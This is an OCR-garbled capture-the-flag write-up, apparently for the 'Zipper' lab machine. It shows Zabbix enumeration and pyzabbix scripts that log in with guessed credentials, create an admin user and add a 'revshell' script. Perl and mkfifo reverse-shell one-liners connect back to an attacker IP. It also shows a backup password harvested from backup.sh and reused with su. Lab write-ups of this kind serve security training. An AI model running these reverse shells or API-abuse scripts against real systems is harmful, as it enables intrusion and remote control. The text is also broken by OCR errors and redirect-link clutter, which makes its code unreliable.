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Usually scan, nmap+dirb+gobuster+msftcp
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find zabbix, ver3.0.21:
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m. Zabbix: Zabbix - Mozilla Firefox

EA Zabbix: Zabbix x |+
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ZABBIX

Username

Session terminated, re-login, please.

Password

Remember me for 30 days

Sign in

or sign in as guest

Help * Support

£ 2001-2018, Zabbix SIA
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Ed Zabbix: Zabbix

m

http://10.10.10.108/zabbix/ - Mozilla Firefox

X | http://10.10.10.108/zabbix/ X | +

“« > C ®
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(@ view-source:http://10.10.10.108/zabbix/

<I!DOCTYPE html=

<html>
<head>

<meta http-equiv="X-UA-Compatible" content="IE=Edge"/>

<meta

charset="utf-8" /=

<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="Author" content="Zabbix SIA" />
<title>Zabbix: Zabbix</title>

<link
<link
<link
<link
<link
<link
<meta
<meta
<meta
<meta

rel="icon" href="favicon.ico"=>

rel="apple-touch-icon-precomposed"
rel="apple-touch-icon-precomposed"
rel="apple-touch-icon-precomposed"
rel="apple-touch-icon-precomposed"

sizes="76x76" href="img/apple-touch-icon-76x76-precomposed.p
sizes="120x120" href="img/apple-touch-icon-120x120-precompos:
sizes="152x152" href="img/apple-touch-icon-152x152-precompos:
s5izes="180x180" href="img/apple-touch-icon-180x180-precompos:

rel="icon" sizes="192x192" href="img/touch-icon-192x192.png">

name="csrf-token" content="1leh9ec451df739a0"/>
name="msapplication-TileImage" content="img/ms-tile-144x144.png">
name="msapplication-TileColor" content="#d40000">
name="msapplication-config" content="none"/>

<link rel="stylesheet" type="text/css" href="styles/blue-theme.css" />

<style type="text/css">.na-bg, .na-bg input[type="radio"]:checked + label { background-color: #97AAB3 }
.info-bg, .info-bg input[type="radio"]:checked + label { background-color: #7499FF }

.warning-bg, .warning-bg input[type="radio"]:checked + label { background-color: #FFC859 }

.average-bg, .average-bg input[type="radio"]:checked + label { background-color: #FFAB59 }

.high-bg, .high-bg input[type="radio"]:checked + label { background-color: #E97659 }

.disaster-bg, .disaster-bg inputl[type="radio"]:checked + label { background-color: #E45959 }
</style><script>var PHP TZ OFFSET = -18000;</script><script src="]s/browsers.js"></script>

<script src="]sloader.php?ver=3.0.21&amp;lang=en_GB&showGuiMessaging=1"></script>

</head=
<body>

<div class="msg-bad-global" id="msg-ba
<div class="article"=<div class="server-n

obal"=</div=
">Zabbix</div><div class="signin-container"><div class="signin-loi

think about zabbix has jsrpc.php, any exploit? , json interface is not authorized

to access, search it:


https://www.lshack.cn/redirect/7f42bYRYxMBMRIZcNwFEFYl4VQ1YxoxI50d0VA94VYJgNAZsJ8R8NM5kl0lYd45cNkpct4xU90xclYlYp8pARcF8lYt4hEVw9slgpc1QVIxoNQ9U1IVQBIZItUVEhghwFMZslI14hoJ0RQZMt0hUJEpMRMhQtchcB4xo9cBUdohkhIFo5wR0FINw1AF49oBIlM9UBENIB8ZsF
https://www.lshack.cn/redirect/0d1e2gdYhEt8BIVc5EZkJY1YJIN0l4NYV05EZsdkZMhwBEhk9sFwtEdsFYd8JgZwZwFM9Y14Vshoxsl8BoBk5sxkRAl8lkBkNcB0VE1EFU5I5Qd0xoxEZIFcR0lEx05ARoJoBcxoFMpsZQZc5A9oFQ9ABA5gpEZMxsZwNM5QB4Bg1ANgFEBIRUR01IpYl8pEJUtolM58pkNE5kdUhARABAJwt

& C @ https://www.google.com/search?newwindow=1&safe=strict&ei=aETWXKndBIrZvgTIXKbQCA&qg=ZabbixAPI&oq=Zabbix;

i WA @ skype & 5MBIEKAHIELL. () GitHub - foospidy.. B3 macapp ) webshell#tA [ sEomAEW - .. | Facebook H

Google  zabbixapi L Q

25 b E] IR FiE] A g% RE TEH
FNZ) 50,500 54558 (FAART 0.29 #)
BMEARZEW: Zabbix API

18. API [Zabbix Documentation 3.2]

https://www.zabbix.com/documentation/3.2/manual/api v EiFItETT
Zabbix API allows you to programmatically retrieve and modify the configuration of Zabbix and
provides access to historical data. It is widely used to: Create new ...

Zabbix API &1 & {£FR3- Jamin Zhang
https://jaminzhang.github.io/monitoring/Zabbix-API-Intro-and-Usage/ v

201856 H24H - Zabbix AP| FHAM EEHRBEZNAE, TEERESAE=ARGNENTHEE
5, REBREEHRTERSB[BMIBEENUERZLANEHR,

Zabbix API {£f8- &+

https://www.jianshu.com/p/f5282dfc438c v

2017485 22H - BT Zabbix ApiEATFERRRIEBIE—: EOBAARTEAMAZabbix ApiE N\
BEREREIE) HOST: 1.1.1.1PORT: 80PROTOECOL. ...

zabbixapi | RubyGems.org | Ruby {tXGem £&

https://rubygems.org/gems/zabbixapi/versions/2.4.7?locale=zh-CN v
zabbixapi 2.4.7. Allows you to work with zabbix api from ruby. kR74s%1%: 4.1.0 - December 25, 2018
(17.0 KB); 4.0.0 - December 20, 2018 (17.0 KB); 3.2.1 ...

GitHub - lukecyca/pyzabbix: Python Zabbix API

https://github.com/lukecyca/pyzabbix v EliZ 1T
Python Zabbix API. Contribute to lukecyca/pyzabbix development by creating an account on GitHub.

GitHub - express42/zabbixapi: Ruby wrapper to Zabbix API
https://github.com/express42/zabbixapi v EIEILLTT

Ruby wrapper to Zabbix API. Contribute to express42/zabbixapi development by creating an account
on GitHub.

GitHub - hengyunabc/zabbix-api: zabbix-api for java
https://github.com/hengyunabc/zabbix-api v EiFLETA

zabbix-api for java. Contribute to hengyunabc/zabbix-api development by creating an account on
GitHub.

python has library named zabbixapi, https://github.com/lukecyca/pyzabbix®
EXP. add host: http://blog.chinaunix.net/uid-28309325-id-5176638.htmI &
createuser.py:
pyzabbix import ZabbixAPI

import sys
import logging

stream = logging.StreamHandler(sys.stdout)
stream.setlLevel(logging.DEBUG)

log = logging.getlLogger('pyzabbix')
log.addHandler(stream)



https://www.lshack.cn/redirect/0d1e2gdYhEt8BIVc5EZkJY1YJIN0l4NYV05EZsdkZMhwBEhk9sFwtEdsFYd8JgZwZwFM9Y14Vshoxsl8BoBk5sxkRAl8lkBkNcB0VE1EFU5I5Qd0xoxEZIFcR0lEx05ARoJoBcxoFMpsZQZc5A9oFQ9ABA5gpEZMxsZwNM5QB4Bg1ANgFEBIRUR01IpYl8pEJUtolM58pkNE5kdUhARABAJwt
https://www.lshack.cn/redirect/c5710clU1s9IBYRQ9olEpot0dEZYJQBIN0hcFQBEVUtUZ810Z8Z0BIJMNgl8xAtM1MRUloVQJUhQZMdYdERwZAB41UlgtUZAhk5Uhw1MZMhIpI5ch4NQFAhMZkx8Z05UpYZAdA90BcN0xEpsBcV0N
https://www.lshack.cn/redirect/65c52sVUBIZoZkB4Bghs1M9whg5Mt85UdkBk5cxMNA1EtgJEB0JQdkxAhotQFMp0tYx4B0NsJ4p0p4pIpYNoRoxghUxURcdEFItYdA50RANk1sVU1k54t81ctUVox85otwtURANktMFoVIRY1cxMBwxERMhY1IRApodUNg94p8Bktcd81AVcZ

log.setlLevel(logging.DEBUG)

zapi = ZabbixAPI("http://10.10.10.108/zabbix")
zapi.login("zapper", "zapper")

print ("Connected to %s" zapi.api_version() )

zapi.do_request('user.create',
{
"alias": "lsh4ck",
"passwd": "lsls",
lltypell 3,
"usrgrps": [

{
}

"usrgrpid"



https://www.lshack.cn/redirect/ea70fEhoRIB45UJQ9cB4tY5gFoJEhIdUB8RIpgl0NY9EZ4hAhQR0pQBEFARUtwNgFEZMB0x8RkRQN8hYx8VkBcN0l41Ih01E90FgVAlQFIV4hc1k1kVYhYVgRMdgJcdIVolUtoZAVUZ4xgFQJo1I90ho54Nk5Q1EBQdElIVcJ8RIpYVkNsZA9kJ0BgJIxMBE9QJI5QFUBE1kpo9gBgp41o9

+ zipper

createscript.py:



https://www.lshack.cn/redirect/ea70fEhoRIB45UJQ9cB4tY5gFoJEhIdUB8RIpgl0NY9EZ4hAhQR0pQBEFARUtwNgFEZMB0x8RkRQN8hYx8VkBcN0l41Ih01E90FgVAlQFIV4hc1k1kVYhYVgRMdgJcdIVolUtoZAVUZ4xgFQJo1I90ho54Nk5Q1EBQdElIVcJ8RIpYVkNsZA9kJ0BgJIxMBE9QJI5QFUBE1kpo9gBgp41o9

The execute script must execute on zabbix agent not on server cuz server its a d

ocker container

pyzabbix import ZabbixAPI
import sys
import logging

stream = logging.StreamHandler(sys.stdout)
stream.setlLevel(logging.DEBUG)

log = logging.getlLogger('pyzabbix')
log.addHandler(stream)
log.setlLevel(logging.DEBUG)

zapl = ZabbixAPI("http://10.10.10.108/zabbix")
zapi.login("1lsh4ck", "1lsls")

print ("Connected to %s" zapi.api_version() )

zapi.do_request('script.create’,

{

"'name': 'revshell',

"command': 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/fl/bin/sh -1 2>&1]|
'"host_acces': 1,

"execute_on': 0

}

the panel of script before:

Ed Zabbix: Configurationof X | +

<) cC @ ® 10.10.10.108/zabbix/zabbix.php?action=script.list&uncheck=1 - O ¥ In @ &

£+ Most Visited @ Offensive Security @ Kali Training

p4:\2121).4 onioring Inventory Reports  Configuration  Administration O Hshae ? &

General Proxies Authentication  Usergroups Users Mediatypes Scripts Queue

Scripts

[] Namea Type Execute on Commands User group Host group Host access

[] Detectoperating system Script Server sudo fusrbin/nmap -0 {HOST.CONN} 2=&1 Zabbix administrators All Read

[] Ping Script Agent sudo pwd All All Read

[] Traceroute Script Server fusr/binftraceroute {HOST.CONN} 2>&1 All All Read
Displaying 3 of 3|

0 selected

after excute the script:


https://www.lshack.cn/redirect/63ff8I9k5EZE5AN4l05Qho9kpIJ4tIFcJ4BMpkd858NIJsRwpc9gZcNYlUZc9IJYJohQdwV05s5Uxc1Y1UNkNg5wxsZc9U5gpsJoZ0B4tohoJ8d8hARsxUhgx85MBoJwdch0ZQZQNwR0BA9whEVo5EJw9w5wFwNwJkN8Z8R85EJIB8V0Rs94dc9kJQh8lIVsBEN8h4l05EtEN8pYBsFYNoR0Fwx
https://www.lshack.cn/redirect/a5b54A5EVUZA9URkREdElUtUZ4JQ5gFodMxwdQdMlM9MpsJUtwRQlAVEtMp4NoFMNsho58dcZoN0ZA1ol0hYtwJ4psRAR4N0FgtIhkN8pAFM98t8F0t8VY1MJw9c5YVo1Epw1g1kFMFwZQ5wNElEFENEtoxgZM1oFIlk94Nwdw1QxElkt0BQN4JUVUJs9YNodwtEpABspURwlkdwhgFI90JEp

editor the script, use the stable perl or python to backconnect:

perl -e 'use Socket;$i="x.x.x.x";$p=4444;socket(S,PF_INET,SOCK STREAM,getprotobyna
me("tcp"));if(connect(S,sockaddr_in($p,inet _aton($i)))){open(STDIN,">&S");open(STD

OUT, ">&S");open(STDERR, ">&S");exec("/bin/sh -i");}; "<br />

create events or triggers, filter use any, more hosts possible:


https://www.lshack.cn/redirect/a5b54A5EVUZA9URkREdElUtUZ4JQ5gFodMxwdQdMlM9MpsJUtwRQlAVEtMp4NoFMNsho58dcZoN0ZA1ol0hYtwJ4psRAR4N0FgtIhkN8pAFM98t8F0t8VY1MJw9c5YVo1Epw1g1kFMFwZQ5wNElEFENEtoxgZM1oFIlk94Nwdw1QxElkt0BQN4JUVUJs9YNodwtEpABspURwlkdwhgFI90JEp
https://www.lshack.cn/redirect/d9fd1AlAl8Z4lQBol8ZspwJclopcFQlc18pYd0psVEFAxsdYRoZYZA1otMJ0xYVYxYxc5gx0R8ZMNkh8N0BEpgVUJsZA5wV0B4lgtQ5k5cZkZUdQtwN0do9wFgxENkZ4BwBYN0JMJ0tspsZEtQZA9spwVIdU1Mpwlo5Y9oVsVwlgpcN0N8xwlItotEtsV8RMZ098J8hAdEtkNQtIpwtg9cRst

4 Zabbix: Status of trigger- X | +

<) -> C ® 10.10.10.108/zabbix/tr_status.php?ddreset=1 - O N €
£¥ Most Visited @) Offensive Security @ Kali Training

4212104 Monitoring  Inventory Reports  Configuration  Administration O, Hshare  ?

Web Latestdata ( Triggers Events ) Graphs eens Maps Discovery [T services

S~ —
Status of triggers Group| al ~| Host ai
Filter &
Triggers statys™ | Any Filter by application Select
Acknowledge stdtus | Any j Filter by hostinventory | Type j Remove

Evenih\| Show all (7 days)

~| Add

Minimum trigger severity | Not classified = Show hoss in maintenance

Age lessthan [ days Show details [ |

Filter by name

» [] Severity Status Info  Lastchange v Duration Ack  Host Name Des
> 2019-02-02 19:34:30 2h 2m 55s Yes Zig Add
SCRIPTS
I 2019-02-02 19:34:28 2h2m57s Yes Zip . Add
----- Detect operating system
2018-09-08 07:52:29 4m 27d 14h Yes Zif Ping Add
2018-09-08 07:50:27 4m 27d 14h ves  zd Sho
Traceroute
Displaying
GO TO

Host inventory

Latest data
Triggers
Graphs

Host screens

ncat to listen:

in ~/htb/zipper [10



https://www.lshack.cn/redirect/d9fd1AlAl8Z4lQBol8ZspwJclopcFQlc18pYd0psVEFAxsdYRoZYZA1otMJ0xYVYxYxc5gx0R8ZMNkh8N0BEpgVUJsZA5wV0B4lgtQ5k5cZkZUdQtwN0do9wFgxENkZ4BwBYN0JMJ0tspsZEtQZA9spwVIdU1Mpwlo5Y9oVsVwlgpcN0N8xwlItotEtsV8RMZ098J8hAdEtkNQtIpwtg9cRst
https://www.lshack.cn/redirect/6b42d8lMlsN8pYxoJM5AFYN89k98tQNslQhoBwRg14d898poNcZ4lgp4ZQl0Vwto50REdYhU9g5clYFY90pgl89cx01klklAB4N89cBEBgpUZEhslgtMpId4dgBc5kFk5wtItQ1Y9ot4VcVoBQZMd81AlQR81Y5wFINUxcNoNwFQ90B418Bs1Y1wdMpkZoJkhI98Fstwx4BAtA5AF
https://www.lshack.cn/redirect/3873bU5od4lgZEZARcN0B0FAJEhARcNk9oRgJUFQB8VM1oJEtY90NMdgt054VwlIFQ9wxwZohklUdk5wZ0tI90RA5oNMFsdM1cBw5Y5E1cJkZEBsJ0xUxY5UFch81chYdARgNglApIxwdA9UJc50lUZURUBwRo5Ml8pshMlQhUp4NI1At4R0pA9IhsJYZcB8twdcZstEFM9oRAh

find the files of user zapper is permission denied,cat the backup.sh:
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapp

er/utils/* &>/dev/null
shell for backup, —p could be the pwd for zapper

zapper can not ssh:

in ~/hth/zipper [18:52:58]

in ~/hth/zipper [10:53:086] C:

use python to get a interactive shell:

SO can use su, input the pwd, login successfully:



https://www.lshack.cn/redirect/3873bU5od4lgZEZARcN0B0FAJEhARcNk9oRgJUFQB8VM1oJEtY90NMdgt054VwlIFQ9wxwZohklUdk5wZ0tI90RA5oNMFsdM1cBw5Y5E1cJkZEBsJ0xUxY5UFch81chYdARgNglApIxwdA9UJc50lUZURUBwRo5Ml8pshMlQhUp4NI1At4R0pA9IhsJYZcB8twdcZstEFM9oRAh
https://www.lshack.cn/redirect/0da88IVQFcVUVU9sVkVYtQVcpUFMV4Rgpw58tgpkVM941wVYxcB8N8hAxcl0h0Vk5s9ENcVoVU54BkV0NE5kNYJMR8BYZcBkpQtI5ApolYFsRMpEtwRMRENAhQBwdAh4tIZIpkBIRM1YFE1MpEtQZElUFIBwdAdQ1QRwVA1MVgdQRE5gJMpEpoRQ5ANQJQ18tM1I9MVs50J0Bw50hY5g98BAZ
https://www.lshack.cn/redirect/9520a0xMNkNYFYtgxgB05Yt0t0FgBMZQ1AFsBoFkdY5I1gtwtkRgRsBQtUtgtcZ0JU9Qp0lw18Bo5QRkJUxIBMBgd4FgJ8NQNoVEFwZAdQhgxQBk9AJUlY5IhQtYRkdEdUpAtEJkVA1IRYR4hod8BE1AJ0JoZQV450pQx4psVMZoJ41IFUFwtIpUdYNMVgp8t8t8p8hQBc9Ydots9Mh
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The only one that runs with root is the service. Actually, the administrator may be
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suid is running by root
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